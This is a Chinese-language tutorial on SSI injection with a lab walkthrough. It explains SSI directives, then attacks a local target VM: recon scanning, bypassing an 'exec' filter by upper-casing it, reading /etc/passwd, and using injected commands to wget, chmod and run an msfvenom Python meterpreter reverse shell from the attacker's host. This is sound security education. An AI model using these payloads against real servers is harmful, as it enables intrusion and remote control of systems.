Background
SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
简介
SSI常见于shtml页面中,shtml是标准通用标记语言下的一个应用,包含有嵌入式服务器方包含命令的文本,在被传送给浏览器之前,服务器会对SHTML文档进行完全地读取、分析以及修改。
shtml和asp 有一些相似,以shtml命名的文件里,使用了ssi的一些指令,就像asp中的指令,你可以在SHTML文件中写入SSI指令,当客户端访问这些shtml文件时,服务器端会把这些SHTML文件进行读取和解释,把SHTML文件中包含的SSI指令解释出来。
主要用途
显示服务器端环境变量<#echo>
1
2
3
4
5本文档名称:<!–#echo var="DOCUMENT_NAME"–>
现在时间:<!–#echo var="DATE_LOCAL"–>
显示IP地址:<! #echo var="REMOTE_ADDR"–>将文本内容直接插入到文档中<#include>
1
2
3
4
5
6
7<! #include file="文件名称"–>
<!--#include virtual="index.html" -->
<! #include virtual="文件名称"–>
<!--#include virtual="/www/footer.html" -->显示WEB文档相关信息<#flastmod #fsize> (如文件制作日期/大小等)
1
2
3文件最近更新日期:<! #flastmod file="文件名称"–>
文件的长度:<!–#fsize file="文件名称"–>直接执行服务器上的各种程序<#exec>(如CGI或其他可执行程序)
1
2
3
4
5
6
7<!–#exec cmd="文件名称"–>
<!--#exec cmd="cat /etc/passwd"-->
<!–#exec cgi="文件名称"–>
<!--#exec cgi="/cgi-bin/access_log.cgi"–>设置SSI信息显示格式<#config>(如文件制作日期/大小显示方式) 高级SSI
可设置变量使用if条件语句。
注入命令参考:(https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection)
靶场实例
攻击者:192.168.43.44
靶机:192.168.43.64
信息收集
nmap -sV 192.168.43.64 扫描该靶机开放的服务
扫描到靶机开放了http服务
浏览器访问该站点
dirb、nikto扫描网站目录文件
查看robots.txt
访问/spukcab文件夹
下载配置文件,并查看
发现网站根目录:/var/www/html/convert.me/public_html
查看index.shtml文件
这可能是提示信息,用这条命令查看用户密码文件
漏洞发现
在index.php页面有一个表单
用于提交一个IP和反馈的意见(或信息),并转递到receipt.php页面,并最终跳转到receipt.shtml
尝试输入提示的ssi命令
1 | <--#exec cmd="cat /etc/passwd" --> |
发现feedback参数值过滤了exec
转换大小写(这里其实ssi命令–前要加!)
1 | <!--#EXEC cmd="cat /etc/passwd" --> |
成功执行
漏洞利用
上传webshell获取权限
先生成webshell,IP为攻击者IP
1 | root@kali:~# msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.43.44 lport=4444 -f raw > test/shellcode.py |
msf启动监听
1 | msf5 > use exploit/multi/handler |
利用ssi注入漏洞让靶机下载shellcode
攻击者机器Kali开启apache服务,将shellcode.py拷贝到/var/www/html/
1 | root@kali:~# cp test/shellcode.py /var/www/html/ |
靶机下载shellcode
1 | <!--#EXEC cmd="wget http://192.168.43.44/shellcode.py" --> |
提升shellcode.py可执行权限
1 | <!--#EXEC cmd="chmod 777 shellcode.py" --> |
运行shellcode脚本
1 | <!--#EXEC cmd="python shellcode.py" --> |
运行之后,返回msf查看监听的端口
发现已经成功连接靶机
查看系统信息
进入系统shell